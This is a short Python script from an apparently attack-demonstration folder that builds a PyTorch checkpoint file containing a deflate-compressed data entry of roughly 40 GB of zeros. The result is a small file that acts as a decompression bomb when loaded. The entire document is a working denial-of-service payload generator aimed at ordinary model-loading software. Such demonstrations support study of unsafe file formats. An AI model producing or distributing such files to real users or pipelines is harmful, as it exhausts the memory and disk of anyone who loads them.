attacks/torch_dos_create.py (16 lines of code) (raw):
import os
from zipfile import ZIP_DEFLATED, ZipFile
import torch
FILESIZE = 40 * 1000 # 40 Go
BUFFER = b"\0" * 1000 * 1000 # 1 Mo
filename = "torch_dos_tmp.pt"
torch.save({"weight": torch.zeros((2, 2))}, filename)
with ZipFile(filename, "r") as torch_zip:
outfilename = "torch_dos.pt"
with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
outzip.writestr("archive/data.pkl", torch_zip.open("archive/data.pkl").read())
outzip.writestr("archive/version", torch_zip.open("archive/version").read())
with outzip.open("archive/data/0", "w", force_zip64=True) as f:
for i in range(FILESIZE):
f.write(BUFFER)
os.remove(filename)